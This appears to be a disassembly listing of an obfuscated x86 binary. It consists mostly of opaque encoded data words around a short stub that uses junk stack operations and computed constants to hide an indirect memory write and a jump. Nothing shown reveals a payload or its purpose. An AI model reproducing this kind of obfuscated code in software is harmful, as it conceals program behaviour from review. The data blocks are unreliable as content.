		dd 7A51B71Dh, 4F039E8Ch, 379CC886h, 21D873D1h, 6D9CC886h
		dd 0A1050D7Fh, 0AE0664CAh, 0D355C7D3h, 291F91EFh, 0ACA214B5h
		dd 79EF6138h, 2F259785h, 207EE4BBh, 5F227A49h, 0AC4DB1B7h
		dd 824580CEh, 3A84409h,	0CC590000h, 2746246h, 59BF960Eh
		dd 0D28924FBh, 0B59CC837h, 7CF2245Dh, 0FD75E788h, 0BF967AFDh
		dd 0B61CF359h, 23766452h, 0CDFA0D9Eh, 0CF6AC874h, 9CC9201Bh
		dd 7FF73E5h, 0A46CCA30h, 72F5673Eh, 0F57BED8Eh,	185A3A11h
		dd 1A806CE9h, 9D010779h, 0E9DF54C6h, 0AD075A48h, 45F4B5C6h
		dd 0C0781371h, 69CC936h, 0D6C49B01h, 25FCE064h,	428161BFh
		dd 73922D1Bh, 0A396E1EAh, 0F7B1F33Dh, 0AE1F7B2h, 33856h
		dd 0E3D95000h, 6755D042h, 0ECD054C6h, 735FD94Bh, 0F4E860D2h
		dd 23C89453h, 0A416B72Fh, 269839AFh, 0AC1EBF2Dh, 3DA142A6h
		dd 7A00B44Fh, 26E8A2B3h, 68DE503Bh, 0AEA41674h,	7BF1633Ah
		dd 0C93EB087h, 0CD92E5D3h, 366B0BCAh, 0AA546A4h, 9CC8E212h
		dd 0C8B2772Fh, 52B6BD9Ch, 0F228E07Bh, 80F29CC8h, 0CF411884h
		dd 268C635Bh, 438262C0h, 84932E1Ch, 4C96E0BCh, 569D4EF9h
		dd 8BE962B4h, 0CF135DC3h, 0BF7B2FEh, 2AF8034h, 50D90000h
		dd 0DC59CB6Ch, 59DD4FF0h, 0E062D475h, 61E95BFCh, 411DDC7Dh
		dd 9F40A4ACh, 21C2262Dh, 0A748B4AFh, 2ACB3F35h,	893DD8C6h
		dd 71A2B37Bh, 46CCC4AFh, 13198B62h, 282BAFA3h, 2187EDC4h
		dd 5BF6E44Ah, 9CC837A7h, 0ECC3298Fh, 3B12FA7Ah,	89604CC9h
		dd 61C65BDh, 0FCF64937h, 66B204A6h, 681971CFh, 0A344B8AEh
		dd 82D977C5h, 22C3B09h,	0A3500000h, 9CC837EBh, 29CA3631h
		dd 0FFABE83Bh, 81DE0C39h, 3EB6B123h, 5D4FC6CAh,	48BA91F7h
		dd 7F50D5CFh, 0BBA8BD68h, 0A70D606h, 750C6433h,	993AA6A1h
		dd 82B86DBBh, 483109h, 5E460000h, 6F0AF81Fh, 96E00A44h
		dd 14226CD2h, 24F7B232h, 1EB994Dh, 949D0000h, 181D8F30h
		dd 0A5A113B4h, 2C269839h, 0A5AD1FC0h, 3DE1A041h, 6304F870h
		dd 0E5867AF1h, 6B0CF073h, 0EE8F73F9h, 4D019C8Ah, 3DA2B37Bh
		dd 0ECDA907Bh, 22868CFEh, 0EC87E54Bh, 9CC83860h, 52C4B218h
		dd 0AE14EBD1h, 0C077950h, 29C4B2A0h, 9CC83875h,	0A1FF65h
		dd 3624988Eh, 37F9AD48h, 6FE19CC8h, 0C82E05F9h,	4D2D0462h
		dd 0D345E60Bh, 59CB6C50h, 2A18EFD3h, 37EDA13Ch,	77DD9CC8h
		dd 3E9C0005h, 0C06147CCh, 0E806E5Ch, 0D1852014h, 0B99CC837h
		dd 0F48FED53h, 9CC83840h, 0E6D4C228h, 0C837974Bh, 0BB197F9Ch
		dd 0FEF272E4h, 91329804h, 5B4970B1h, 1DBD308h, 3492B76Dh
		dd 78FD6F5Dh, 40C43694h, 6820BB5Ch, 329CC841h, 70EF60DFh
		dd 74D2ABAFh, 402E5594h, 56359CEh, 0C4557C17h, 5FC596E0h
		dd 8A06FF71h, 0E1471E86h, 0ED68DA7Bh, 0C83A28FFh, 0EDD3544Ch
		dd 4AFE9987h, 3AA2B0F7h, 30476D4h, 0EAD8C69Dh, 0B0F69B4Fh
		dd 0C7258BA2h, 13EADE55h, 6239A5A1h, 2E1C4382h,	0C8C0C493h
		dd 24CB29Ch, 0F1CACDE2h, 0BE83370Eh, 0CA000000h, 4ABC5D47h
		dd 0CE40E1CBh, 53C56656h, 0DA4CEDD1h, 0ECD6E56h, 31959D4Eh
		dd 0B3291E90h, 39A7A012h, 0BC202698h, 2EC9B71Bh, 0A2B37C7Ah
		dd 0CCBDA86Ah, 9D8B6246h, 761C2A4Ah, 4CC29CDFh,	0B51B8158h
		dd 7B6FE557h, 0DC3332A4h, 5E0A967Ah, 3A11778Bh,	885F4DC8h
		dd 4AB6B022h, 1869C173h, 9EE33B0Ah, 6D0EF278h, 42F6917Fh
		dd 329CC92Dh, 42906ECCh, 0A10982ECh, 216418B3h,	0EE549CC9h
		dd 0B513F97Ch, 252Ch, 0ECA34100h, 309CC837h, 85D8C63Ah
		dd 51D9C8D8h, 7FF81A6Dh, 8F697F5h, 0E348EB5h, 2F8D9610h
		dd 0B7Bh, 0EBA39000h, 319CC837h, 3B26C73Bh, 2C2C86Eh, 0FE000000h
		dd 5F45CC13h, 0AC101688h, 0FCE063D5h, 48BCB325h, 930BFF71h
		dd 0DEC64ABCh, 2F939507h, 7E6EE658h, 0CC3035A7h
		db 0F5h, 73h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 74650066h
		and	edx, 3EB66498h
		push	eax
		mov	eax, 737B15F8h
		sub	eax, 2DADB5B7h
		xor	edx, eax
		pop	eax
		xor	edx, 7402209Bh
		mov	esi, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 5CEA4C57h
		add	ecx, 3BE20C79h
		xor	ecx, 98CC58D8h
		mov	eax, ecx
		pop	ecx
		add	eax, ecx
		mov	[eax], esi
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dw 7C92h
		dd 3BEF6BECh, 45E1B8F2h, 0C50305EBh, 51E9D18Bh,	60000000h
		dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h,	66000000h
		dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h,	8F0F0C7Ah
		dd 15h,	8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch
		dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh
		dd 20EB00h, 7 dup(0)
		dd 0E9000000h, 502h, 4F6E9h, 48B16800h,	7FE905EBh, 68FFFD37h
		dd 5EB4953h, 0FD3775E9h, 4AA468FFh, 6BE905EBh, 68FFFD37h
		dd 5EB4B08h, 0FD3761E9h, 9F050CFFh, 23898CFEh, 0A8141082h
		dd 2F939507h, 0B0141C8Eh, 0DF8C500Fh, 60D2736Bh, 0E254F5EBh
		dd 68DA7B61h, 0F95DFEE2h, 7EBC700Bh, 0EAACA2B3h, 6448CCFFh
		dd 62342376h, 3BEF5D64h, 0D72A34EDh, 0FD5B8322h, 0AF4A3826h
		dd 9CC932FBh, 11FD79EBh, 0FAB24DABh, 11CC932h, 84D2D8A9h
		dd 488982EFh, 38h, 7AFA6C5Ah, 2443F792h, 0CD331CC9h, 0ECA3846Fh
		dd 0C29CC837h, 0D36E5C83h, 96DDF121h, 37AFA315h, 0A694FA60h
		dd 0CADF8E53h, 0DB395B1Ch, 18863Ah, 26980000h, 735EBC20h
		dd 0C837EBA3h, 5D84C39Ch, 0F122D46Fh, 0AC1296DDh, 0DE50200Bh
		dd 399F7666h, 14ED69DBh, 29EF31A1h, 0CD685642h,	9CC8F219h
		dd 5E359B01h, 0C8F206C3h, 0E0CC461Ch, 2B939709h, 542D8554h
		dd 7CF7AB46h, 79DF1CC7h, 1736113h, 0E139970Bh, 0EFE76A0h
		dd 194C8D6Dh, 76DCB31Fh, 0CF872210h, 0BF1CC74Ch, 8D8236D1h
		dd 4EC81CC7h, 5D258B62h, 48BA91F7h, 5D3DDEC2h, 6E09F71Eh
		dd 16DF5C0Fh, 0A243ACFFh, 0B3356D1h, 7B33CEA5h,	8216DFE5h
		dd 553572Ah, 0C98399A0h, 74h, 67DE50DEh, 0DA389E75h, 8288BBFAh
		dd 40A61E12h, 0F651ECDAh, 4496DDF7h, 887EF0DEh,	0A2CF7E27h
		dd 0E3E4C8B4h, 5F7BB198h, 3BDC42A8h, 0D05343C9h, 543C86ECh
		dd 90F7B60Bh, 29805B9h,	0F47D0000h, 78FD6F10h, 8581F394h
		dd 0C067819h, 858DFFA0h, 1DC18021h, 43E4D850h, 0C5665AD1h
		dd 4BECD053h, 0CE6F53D9h, 2DE17C6Ah, 1DA2B380h,	638A705Bh
		dd 9F000002h, 7864DE50h, 70A02025h, 0A301CA9Ch,	0BABD3531h
		dd 943C0356h, 0A62EEB5Ch, 16CE6940h, 339CC855h,	9CC854FBh
		dd 0C8555F18h, 0BDD6299Ch, 2FBE0356h, 62F0A43Fh, 72D89CC8h
		dd 5B13AE0Ch, 789CC863h, 9CC862C0h, 0C86325DDh,	97BEFD5Ch
		dd 4F590EA9h, 0E74D56DDh, 0CAF13010h, 0FB2E41DCh, 0B61C5CCAh
		dd 0CCE9BA6Ch, 3FF3CAB1h, 1F6h,	11B22A1Fh, 9536A69Fh, 1ABB2323h
		dd 0A142AEA8h, 22C33B2Fh, 7EF2BB63h, 0FC73E586h, 72F56708h
		dd 0F57BED8Eh, 1E0C7011h, 0B380CF83h, 0AF5B7A2h, 0F4DDFD50h
		dd 5FFE22ADh, 25998F01h, 0D772604Eh, 9CC88623h,	6F4FAD13h
		dd 801B0930h, 96DE3ED2h, 23898AFCh, 0C088E64Ch,	0CF47B95Ah
		dd 966D51D3h, 58BE2224h, 67DF51F2h, 81C0A077h, 2BD16C5Ah
		dd 0DB9CC8F9h, 97FDE169h, 85A35BF6h, 3C7B9CC8h,	0E28C2715h
		dd 3296DE3Eh, 0E66CDECCh, 5AC11402h, 3760FAF2h,	4777DA30h
		dd 15B668F4h, 6037AFA3h, 89FB9CFAh, 0AD481F83h,	0A2B37E25h
		dd 89779EDDh, 0C93738EEh, 0D8C62C9Ch, 5BFCE066h, 917F63E9h
		dd 0A6FEEA3Eh, 5EBCEF41h, 9F64EC87h, 0DD1C9CC8h, 872DC8B6h
		dd 8F96DE58h, 43C93B29h, 59883CD7h, 0A70A2B3h, 9B9103A4h
		dd 31705027h, 0CF811C0Ah, 0BF9CC911h, 2FE78259h, 369CC89Eh
		dd 0B907A3DEh, 7D09825Dh, 0Ch, 1AEBA392h, 7EF9CC8h, 4000000h
		dd 0C81DEBA3h, 1F5EB89Ch, 0C16F0AF8h, 5596DDF0h, 13796DE3h
		dd 0F61D5C3Ch, 912C1A08h, 0A2B37DDDh, 6E0967CDh, 9CCB5B6Bh
		dd 198D83F5h, 0B67EDC42h, 8A520650h, 976EF1CDh,	0A5E3h
		dd 3F97000h, 8775F062h,	0CF074E6h, 937FF96Bh, 148880F2h
		dd 43E8B473h, 0C436D7CFh, 46B8594Fh, 0CC3EDFCDh, 5DC16246h
		dd 8220D46Fh, 4608A2B3h, 0F81F5E5Bh, 0F0C16F0Ah, 0E35596DDh
		dd 3AA0776Fh, 0F274E6D4h, 73D1370Eh, 567DBC9Ch,	773ACD68h
		dd 88FA9CCBh, 0FBC3218Fh, 668D4B95h, 0E6BDF1CDh, 4132h
		dd 675DD400h, 0EBD154C6h, 705CD84Ah, 0F7DB5DCFh, 786CE456h
		dd 0A74418D7h, 289A3BA3h, 0AA1CBD23h, 30A243A9h, 0C125C63Ah
		dd 838438D3h, 0B274A2B3h, 0C8AC7h, 499C0000h, 529B360Bh
		dd 422D8B64h, 45CC8F7Ah, 1016885Fh, 0E063D5ACh,	0BCB325FCh
		dd 0BFF7148h, 0C64ABC93h, 939507DEh, 6EE6582Fh,	3035A77Eh
		dd 5173F5CCh, 0C181E189h, 4, 4BE56h, 0F1290000h, 240C875Eh
		dd 0E789575Ch, 4C781h, 0EF830000h, 243C8704h, 240C895Ch
		dd 492B68h, 24348900h, 22347DB9h, 6E9C13Dh, 10CABA52h
		dd 0F2817A7Ah, 8D709AAh, 57DBE281h, 0E2C112E5h,	4BF28105h
		dd 2148A04Fh, 0F1815AD1h, 5EB4701h, 24348B54h, 5304C483h
		dd 5E89CB89h, 241C8B08h, 8B04C483h, 89522434h, 4C281E2h
		dd 83000000h, 148704C2h, 34FF5C24h, 0C4815924h,	4, 0FD32A1E9h
		dd 0F4B281FFh, 9B57A862h, 0B858A47Fh, 0B8C247B3h, 5EB4B6Eh
		dd 0C88BC503h, 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh
		dd 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h,	0FC94A4D6h
		dd 0AEC44100h, 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h
		dd 389382h, 3C0000h, 400000h, 940000h, 50000h, 10000h
		dd 0A280000h, 20000h, 20h dup(0)
		dd 35540000h, 0EDE9613Ah, 68000020h, 5EB4F63h, 0FD319DE9h
		dd 504168FFh, 93E905EBh, 68FFFD31h, 5EB511Fh, 0FD3189E9h
		dd 51D868FFh, 7FE905EBh, 68FFFD31h, 5EB5294h, 0FD3175E9h
		dd 536868FFh, 6BE905EBh, 68FFFD31h, 5EB5416h, 0FD3161E9h
		dd 54BD68FFh, 57E905EBh, 68FFFD31h, 5EB591Eh, 0FD314DE9h
		dd 599F68FFh, 43E905EBh, 68FFFD31h, 5EB5B05h, 0FD3139E9h
		dd 5DFD68FFh, 2FE905EBh, 68FFFD31h, 5EB61C7h, 0FD3125E9h
		dd 657368FFh, 1BE905EBh, 68FFFD31h, 5EB6730h, 0FD3111E9h
		dd 67A068FFh, 7E905EBh,	68FFFD31h, 5EB67F9h, 0FD30FDE9h
		dd 684E68FFh, 0F3E905EBh, 68FFFD30h, 5EB692Fh, 0FD30E9E9h
		dd 6A9068FFh, 0DFE905EBh, 68FFFD30h, 5EB6BA0h, 0FD30D5E9h
		dd 2B9198FFh, 0AF1D188Ah, 34989C0Eh, 0BB272193h, 3CA0A81Ah
		dd 6B00DC9Bh, 0EC5EFFE7h, 6EE08167h, 0F46607F5h, 85E98A7Eh
		dd 8548FC97h, 6E30A2B3h, 6246CC83h, 0AF13198Bh,	0E7D74FC1h
		dd 0AD0BFF75h, 0C6ED2C0Ch, 0F378EAD8h, 0E2D0360Dh, 0C8379347h
		dd 0BF1D839Ch, 0E009F524h, 0F373E596h, 68CE340Bh, 463EF691h
		dd 0ED45A2B0h, 1C81694h, 498C0F6Ah, 0A1000000h,	69EC1F5Eh
		dd 0A50BF377h, 0F6DA5CCEh, 0ED53B91Fh, 0C1564FFh, 0DF4596E0h
		dd 42B56D08h, 78FBA2B0h, 481F8D88h, 33A57CE2h, 534BBF33h
		dd 65E16EDh, 0D0841F7Bh, 0B8A2B042h, 0E33BEC52h, 2BE0C9Eh
		dd 20820F6Ah, 97000001h, 8B6246CCh, 0D6AD1119h,	45F395E8h
		dd 61FE5003h, 0BA20F7EBh, 8E84F654h, 0BAA8140Eh, 0C8A26B1Fh
		dd 8FF55B9Ch, 0EFC046B8h, 0D23D50B5h, 0FBE94F62h, 0C3218D89h
		dd 0E8E8722h, 50D69CC9h, 0D65FBA7Fh, 0EE60CC2Dh, 49AF8676h
		dd 0A3A2F5E3h, 0F178ED20h, 2816B715h, 0EC4AB2B6h, 3910F47Ah
		dd 735FD94Bh, 47F63515h, 0BB8EFDF4h, 5A0E667h, 9CC89251h
		dd 91C47813h, 4EB49CC8h, 0CCBA2086h, 496EB979h,	93F1965Ch
		dd 0B16F0AA5h, 0E14796E0h, 0FA216040h, 29A3710Ch, 8DF39CC6h
		dd 39252D9Fh, 865D41C7h, 49D18520h, 53B99CCAh, 127864E1h
		dd 0E79B3624h, 0CF9CCA49h, 7C6A0B69h, 9E907629h, 42A0FC5Dh
		dd 0DD5858D0h, 0C4B218EFh, 0CA907529h, 99FF659Ch, 0CC78454Fh
		dd 0FAAE85F1h, 1DE6h, 21C23A2Fh, 0A546B6AFh, 2ACB3333h
		dd 0B152BEB8h, 32D3CB3Fh, 0E02AB73h, 8C83F596h,	2057718h
		dd 858BFD9Eh, 2E1C8021h, 0B386DF93h, 1A05C7A2h,	0BF6044CCh
		dd 0F6E65FD1h, 43A7AD1Fh, 70D7FDDh, 5E1702A3h, 85BA0B1Fh
		dd 56C827E6h, 186702F0h, 3696E0C0h, 0A65EF9D0h,	0ADA2B0F6h
		dd 0E2C64DBFh, 55552C84h, 0F6AB607h, 0B7CBh, 54EFDD00h
		dd 0A2B0EAA0h, 0BBB02288h, 0AA086E45h, 6246CCBFh, 0A111198Bh
		dd 0FCD339A5h, 0C8336861h, 0C53EB09Ch, 3C9A00D7h, 0BF6044CAh
		dd 0CE3C74Dh, 0B8BAED2Ch, 0B1177D54h, 0B8D28C3h, 76D96E0h
		dd 0EF8A7866h, 0A2B04D3Bh, 4CB66A05h, 389EA2B0h, 0CCAC0A70h
		dd 0DD78668Dh, 9CCAA6E2h, 52C4B218h, 0D345E6DEh, 511D675Fh
		dd 5DF1CCD3h, 1D08D286h, 40D0000h, 888DFFA0h, 15118324h
		dd 9C9608A9h, 151D8F30h, 8D5110B1h, 0D37468E0h,	55F6EA61h
		dd 0DB7C60E3h, 5EFFE369h, 0BD710CFAh, 0ADA2B387h, 44CC00EBh
		dd 5007260h, 4E25898Bh,	171082E8h, 38AA4BA9h, 422DCE32h
		dd 8B6246CCh, 0EAF1319h, 5C9B02BEh, 6594735h, 0A22EB0E2h
		dd 6854CF19h, 8609A402h, 5496E08Eh, 978E00EEh, 8AE84E25h
		dd 0FEB97510h, 0EA295FA6h, 0ED63D5C3h, 5EBC22F9h, 4B16D570h
		dd 0DE445046h, 0E7C61907h, 0D8ECA9C4h, 0A4E3C321h, 7B3C8F7Dh
		dd 3FA0C972h, 0A3917FDDh, 69C73B31h, 6F1189CEh,	2D259753h
		dd 1E7CE2B9h, 7B61E456h, 0C2A851A4h, 9230FFE8h,	66D8C62Ch
		dd 0E95BFCE0h, 33659263h, 68283FB3h, 0E8A1A815h, 0E84E0633h
		dd 30D9C89Eh, 5D11E8ABh, 1C2Ah,	0DD7E66EBh, 6102EA6Bh
		dd 0E68777EFh, 6D0EF274h, 0EE8F77FBh, 4ABE6F2Fh, 0C83FB152h
		dd 46C133D4h, 0C147B95Ah, 0EAD83CDDh, 0B3889B4Fh, 0DEC98BA2h
		dd 8B6246CCh, 0C0242B9Dh, 1C438262h, 55BBBC2Eh,	5B6E09F7h
		dd 0B96E01Ch, 5A319D99h, 0B76B06F4h, 9FA2B052h,	0E232D339h
		dd 497CBB22h, 8D7BE1CDh, 0A6E81A3Ah, 0BA1835E5h, 27AE31CCh
		dd 0F65C9CC8h, 8ACE17Ch, 274549Ch, 2126980Ch, 207EE4BBh
		dd 0ECDA0140h, 91839251h, 835AC05Eh, 12FD4295h,	4C9F139Bh
		dd 0A8CF0EEEh, 0EEDA1FBAh, 46AC593Ah, 7CF86A58h, 4AC03290h
		dd 0CD43B556h, 0F6A78FD9h, 0CE3B97Bh, 1B7158h, 37ADA400h
		dd 0BB212496h, 40ACA81Ah, 0C72B2D9Fh, 48BCB426h, 7734E8A7h
		dd 0F86A0BF3h, 7AEC8D73h, 7213F9h, 91F5960Ah, 895408A3h
		dd 8244A2B3h, 6246CC97h, 456CAB8Bh, 0EB9DBC57h,	177D96E0h
		dd 0F07D2676h, 19C8AB1h, 9CC8447Eh, 0D16CE64Ch,	79A38C07h
		dd 9631E01Fh, 3970EBE2h, 0DB196CD2h, 0C216B2Ah,	6F0AF85Eh
		dd 338842B0h, 188A78DEh, 774EAC10h, 43315897h, 9675BD1h
		dd 0A43F2D1Bh, 36084CF0h, 791472D8h, 30211434h,	200EFC62h
		dd 44073CDh, 5CC2990Fh,	33361E09h, 65F6AA45h, 78DE3970h
		dd 3EA2A81Ah, 0B5252B9Dh, 0C7249BDh, 4DAA5CA6h,	0E3BA8E72h
		dd 1AB52Fh, 0F3E96000h,	7765E052h, 0FCE064D6h, 836FE95Bh
		dd 4F870E2h, 33F8A463h,	0B426C73Fh, 36A849BFh, 0BC2ECF3Dh
		dd 4DB152B6h, 8A10C45Fh, 36F8A2B3h, 6246CC4Bh, 456CAB8Bh
		dd 0E07B6957h, 9CC8382Ch, 0BD58B61Ch, 96E002AEh, 0F545E64Ch
		dd 2CC7B526h, 0A2B04D78h, 0BC9CFA60h, 0CD68567Dh, 9CC82D4Ah
		dd 4230AA10h, 0A6854D0h, 5981D6Fh, 0D3FA3999h, 0DF173E5h
		dd 6726C1AFh, 27942294h, 0CB0AEAC1h, 0BF8C73B7h, 8CF2DA4Dh
		dd 0CA3EB09Eh, 0F45A42C6h, 2EC9B71Dh, 9572CA7Ah, 0BA6046Ah
		dd 8F8B91C6h, 0E93C2A90h, 0BDB58EEDh, 9E8CEAC8h, 0B1B6262Ch
		dd 0DD91F84Bh, 6974141Fh, 0EAC21503h, 2581A6B8h, 8BFD9EFCh
		dd 0AB1F1585h, 0BF47FB45h, 8C63EF0Ch, 19E1D8h, 0C73D3400h
		dd 4BB1B426h, 0D03C38AAh, 57BBBD2Fh, 0D8CC44B6h, 7A47837h
		dd 88FA9B03h, 0A7C1D83h, 9002A309h, 2185269Ah, 8AE49833h
		dd 12D4A2B3h, 6246CC27h, 456CAB8Bh, 1EDBC57h, 278D96E0h
		dd 0F7E3686h, 20BBA9D0h, 9CC82E9Dh, 0F28D076Dh,	83767Bh
		dd 0E88094D3h, 3EF28DB6h, 263090BEh, 4C8D6DC0h,	0DB7664CAh
		dd 2AA8CA1Ch, 1DFDD43Ah, 0DBC9B7DEh, 9FFDE169h,	191BF04h
		dd 3321872Dh, 0CB4B4BC1h, 40A60CE3h, 51C3B19Fh,	0AD13EAD6h
		dd 90E25E12h, 82E04630h, 831E1A10h, 3090E1CFh, 0A1EB51B7h
		dd 8592C9E3h, 33883C13h, 0E2000019h, 62D4756Fh,	0E658F9E3h
		dd 6BDD7E6Eh, 0F26405E9h, 26E5867Eh, 49BDB576h,	0CB3136A8h
		dd 51BFB82Ah, 0D4C83EB0h, 46E1CF33h, 0A2B38B92h, 0CCD5C082h
		dd 0AB8B6246h, 457456Ch, 9B3F8811h, 5846A409h, 0DE3DE2BDh
		dd 44329896h, 0C7685CD2h, 0B8C86D9h, 42240714h,	3CDA74EFh
		dd 1C7A86FFh, 0B3F27D81h, 9E3927A2h, 0A2B3F2EAh, 20274DAh
		dd 195C3C9Ah, 69DF51F2h, 0B5F4D475h, 3F168E82h,	0EA8573D9h
		dd 9CC9870Fh, 635BCF41h, 0E9D73D05h, 6D0EFE77h,	0BB927AFBh
		dd 5CD3C349h, 28B80268h, 34F1CB17h, 188CA95Dh, 80890000h
		dd 0C097B1Ch, 898DFFA0h, 10128425h, 91990BACh, 11CD8C2Dh
		dd 4FF0D45Ch, 0D17256DDh, 57F8E45Fh, 0DA7B6FE5h, 39ED8876h
		dd 21A2B38Ch, 1F5E745Fh
		dd 3821D570h, 0A3099CC8h, 0EF614F3Dh, 4AB08777h, 0CB7651ECh
		dd 5EC496DDh, 8808FE70h, 0B8AE208Ch, 5D3DDE44h,	6A05F31Ah
		dd 0A2B383E2h, 0DA754CB2h, 0A2B38423h, 27FEE269h, 764DB1B5h
		dd 0F32F52AAh, 1397EA42h, 0F6D3FC5h, 8089h, 1B5E9E00h
		dd 0C3730EFCh, 0B39CC837h, 4DDB4760h, 69CF33B2h, 3EF28D7Bh
		dd 269CC8C2h, 7249BFB4h, 7148A60Ch, 0C8C21ED6h,	0E437259Ch
		dd 0D23416A4h, 9C000345h, 180D836h, 82ED5BA9h, 3F1F09h
		dd 43310000h, 926955D1h, 29DD912Ch, 67CD9CC9h, 0ECA31E09h
		dd 0B49CC837h, 0D7CD42h, 1D5C3C9Ah, 0A98064EAh,	6FDB2156h
		dd 41A786F6h, 9B52EDDBh, 6596E123h, 16887CF3h, 71D7AE1Eh
		dd 44E54B13h, 0F81F5E59h, 932E1C0Ah, 9CC837DFh,	680361C7h
		dd 96E0092Dh, 6A1EB9A7h, 0B0A2B046h, 10824AB6h,	0E240A61Ah
		dd 0DD912C1Ah, 0CDA2B045h, 0C0130167h, 0DCFF2E51h, 0AC83E13Fh
		dd 2FD0343Ah, 7C53B7BDh, 0C79E060Ah, 2BCE210Fh,	0CFD26516h
		dd 0A199F7C2h, 0DE44703Fh, 0BD592880h, 776553B7h, 0B10428DCh
		dd 0FEEE66A2h, 32B9E336h, 0F76B7AD9h, 0B32B1F91h, 0CC42B455h
		dd 1D01B550h, 83E9A2B1h, 6A58461Dh, 0B11D1BCFh,	47A50BA2h
		dd 13012867h, 5DB2B325h, 0EBD2AEDh, 4E258BC4h, 0C8EF8AE8h
		dd 369CC91Eh, 0B7BD2FD0h, 48E17C53h, 624169Ah, 0DB8F2A18h
		dd 0CB14FEE5h, 0D2AF0765h, 0EDDF56C8h, 0B3171D8Fh, 2AAAA012h
		dd 0E79B3626h, 0CF14FEE5h, 0C62C0369h, 1D178960h, 0E5DA8E29h
		dd 64CA14FEh, 0BDB527FEh, 6007249h, 0B911C39Ah,	368E5AC8h
		dd 0D945CB4Bh, 0FEE58A3Eh, 0AE147A14h, 31959B0Dh, 6BA5543h
		dd 0EE14FEE6h, 73532A88h, 841F0D34h, 0F16B849h,	0E6E388Bh
		dd 0E9CC801Bh, 56BC1AA6h, 1CE51F03h, 0F14FB51Bh, 0ECA03B29h
		dd 0DC1AA68Eh, 0FD6F1076h, 1C808777h, 8BC5745h,	0F01AA68Fh
		dd 0E7BE248Ah, 5C1DFE75h, 6145CDDEh, 0E7D1248Ah, 5F369C50h
		dd 0AC8367EDh, 40C7393Ah, 0B91F855Ch, 0C6BB13E2h, 80E6DA50h
		dd 51170C8h, 0CFA9B0Fh,	8BE2FBB9h, 3694C97Bh, 835A4EC4h
		dd 0CC2D2395h, 0A7B813E8h, 274DA9Bh, 59BF960Eh,	0B5DC1BFBh
		dd 0C2C92CC7h, 0E3D114BEh, 0FEF29448h, 0B81E8414h, 0F4D62917h
		dd 4431BCFDh, 8F75FA6Ch, 5549BF31h, 261E907Eh, 1B79DFB6h
		dd 0FF2FC880h, 0B76CE04h, 0A1050Bh, 2F67BF12h, 76E0192Bh
		dd 3FADA618h, 7E72F668h, 0DAB11785h, 0A9AB1D0Bh, 0F28FE745h
		dd 0DA0755A8h, 0C5AA8857h, 8BE9DD53h, 11B21E19h, 4AB6B123h
		dd 7F97AECh, 60379D01h,	0B18874EEh, 36E0A1F9h, 402ECF3Dh
		dd 0CD03B752h, 0A0F304FEh, 98881508h, 0F14FB5EEh, 4118847Fh
		dd 0DFB2261h, 0D4329A9Bh, 96104BE6h, 80E6FF16h,	1EFDDA9h
		dd 0A6BAB266h, 0D02B170Ah, 97A8E677h, 0B30B69CFh, 0E1CF48CEh
		dd 6458CE40h, 0B1151B8Dh, 0AB1D0BDAh, 8DE543ABh, 0B82C22F4h
		dd 1AEB3917h, 17AF7760h, 0C4000000h, 8E654BCCh,	5A486FAEh
		dd 0E01DF4BFh, 3BDC4296h, 3287h, 4BCC9C00h, 6FAE8E65h
		dd 387125C0h, 0E7599CC8h, 40A67D61h, 988674DAh,	385B0FAAh
		dd 0E54B9CC8h, 0E5D1EC87h, 43A996E0h, 0C9160255h, 27421E42h
		dd 0EE3D28C9h, 7488C736h, 0C2FE41BEh, 0E7D53BD7h, 0E0A3C94Ch
		dd 72F96B96h, 0B3198382h, 219F7360h, 0B31165ECh, 700B85EBh
		dd 0A77DE2BCh, 0A81C1486h, 0F6E65FD1h, 6553B91Fh, 242D16CAh
		dd 3A98FE8Eh, 6F41B5Ah,	3C07AC6Bh, 7371C488h, 8CBC8342h
		dd 156558DCh, 3CA3B9C2h, 7BD2EDA1h, 1177DD91h, 0DA98EBB3h
		dd 79876A85h, 38AA98FEh, 95FBD23Eh, 5EBC2023h, 4168A787h
		dd 69450053h, 2900E46Ch, 0F0A370C3h, 97391FF1h,	0E1478816h
		dd 3108F46Fh, 0E47F6DCBh, 8B94F39Fh, 2486EC1h, 26E02B48h
		dd 0AC9A00C8h, 2FD0343Ah, 30CBB7BDh, 8E23947Ch,	56A0066Ch
		dd 0E3257BBCh, 2B5105DCh, 0EA000014h, 6ADC7D67h, 0EE6001EBh
		dd 73E58676h, 0FA6C0DF1h, 2EED8E76h, 51B5BD6Eh,	0D3C93EB0h
		dd 5947C032h, 0DCC046B8h, 4EE9D73Bh, 0A2B3909Ah, 0A3DDC88Ah
		dd 9CC836EFh, 6B5980BFh, 0E012E1D0h, 6BDF5196h,	36EA8573h
		dd 1EA2B05Fh, 766452B8h, 3C9A0E04h, 0C26349CAh,	0F0E062D4h
		dd 48AE857Bh, 8F470E2h,	0FB6DCB31h, 1E828878h, 81F3E1B8h
		dd 0DB411884h, 0A1050B7Dh, 0B246BB57h, 5C10E7F7h, 13AAh
		dd 5DFEE66Bh, 0E1826AEBh, 6607F76Fh, 0ED8E72F4h, 6E0FF77Bh
		dd 0CA3EEFAFh, 48BF31D2h, 0C641B354h, 41C739DAh, 6A58BC5Dh
		dd 0B3911BCFh, 5E490BA2h, 0AF81F5Eh, 0E011806Fh, 9A88EE96h
